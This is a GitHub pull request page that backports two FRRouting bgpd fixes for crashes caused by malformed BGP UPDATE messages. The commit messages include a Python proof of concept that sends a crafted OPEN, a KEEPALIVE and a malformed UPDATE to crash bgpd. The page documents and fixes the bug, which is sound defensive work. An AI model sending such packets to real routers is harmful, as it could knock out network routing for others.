Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

bgpd: A couple more bgpd crash fixes for malformed packets (backport #14716) #14735

Merged
merged 2 commits into from Nov 6, 2023

Conversation

mergify[bot]
Copy link

@mergify mergify bot commented Nov 5, 2023

This is an automatic backport of pull request #14716 done by Mergify.


Mergify commands and options

More conditions and actions can be found in the documentation.

You can also trigger Mergify actions by commenting on this pull request:

  • @Mergifyio refresh will re-evaluate the rules
  • @Mergifyio rebase will rebase this PR on its base branch
  • @Mergifyio update will merge the base branch into this PR
  • @Mergifyio backport <destination> will backport this PR on <destination> branch

Additionally, on Mergify dashboard you can:

  • look at your merge queues
  • generate the Mergify configuration with the config editor.

Finally, you can contact us on https://mergify.com

…attrs

Treat-as-withdraw, otherwise if we just ignore it, we will pass it to be
processed as a normal UPDATE without mandatory attributes, that could lead
to harmful behavior. In this case, a crash for route-maps with the configuration
such as:

```
router bgp 65001
 no bgp ebgp-requires-policy
 neighbor 127.0.0.1 remote-as external
 neighbor 127.0.0.1 passive
 neighbor 127.0.0.1 ebgp-multihop
 neighbor 127.0.0.1 disable-connected-check
 neighbor 127.0.0.1 update-source 127.0.0.2
 neighbor 127.0.0.1 timers 3 90
 neighbor 127.0.0.1 timers connect 1
 !
 address-family ipv4 unicast
  neighbor 127.0.0.1 addpath-tx-all-paths
  neighbor 127.0.0.1 default-originate
  neighbor 127.0.0.1 route-map RM_IN in
 exit-address-family
exit
!
route-map RM_IN permit 10
 set as-path prepend 200
exit
```

Send a malformed optional transitive attribute:

```
import socket
import time

OPEN = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
b"\xff\xff\x00\x62\x01\x04\xfd\xea\x00\x5a\x0a\x00\x00\x01\x45\x02"
b"\x06\x01\x04\x00\x01\x00\x01\x02\x02\x02\x00\x02\x02\x46\x00\x02"
b"\x06\x41\x04\x00\x00\xfd\xea\x02\x02\x06\x00\x02\x06\x45\x04\x00"
b"\x01\x01\x03\x02\x0e\x49\x0c\x0a\x64\x6f\x6e\x61\x74\x61\x73\x2d"
b"\x70\x63\x00\x02\x04\x40\x02\x00\x78\x02\x09\x47\x07\x00\x01\x01"
b"\x80\x00\x00\x00")

KEEPALIVE = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
b"\xff\xff\xff\xff\xff\xff\x00\x13\x04")

UPDATE = bytearray.fromhex("ffffffffffffffffffffffffffffffff002b0200000003c0ff00010100eb00ac100b0b001ad908ac100b0b")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.2', 179))
s.send(OPEN)
data = s.recv(1024)
s.send(KEEPALIVE)
data = s.recv(1024)
s.send(UPDATE)
data = s.recv(1024)
time.sleep(100)
s.close()
```

Reported-by: Iggy Frankovic <iggyfran@amazon.com>
Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
(cherry picked from commit 6814f2e)
If we receive MP_UNREACH_NLRI, we should stop handling remaining NLRIs if
no mandatory path attributes received.

In other words, if MP_UNREACH_NLRI received, the remaining NLRIs should be handled
as a new data, but without mandatory attributes, it's a malformed packet.

In normal case, this MUST not happen at all, but to avoid crashing bgpd, we MUST
handle that.

Reported-by: Iggy Frankovic <iggyfran@amazon.com>
Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
(cherry picked from commit c37119d)
@frrbot frrbot bot added the bgp label Nov 5, 2023
@ton31337 ton31337 merged commit 610ea17 into dev/9.1 Nov 6, 2023
82 checks passed
@ton31337 ton31337 deleted the mergify/bp/dev/9.1/pr-14716 branch November 6, 2023 12:16
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

1 participant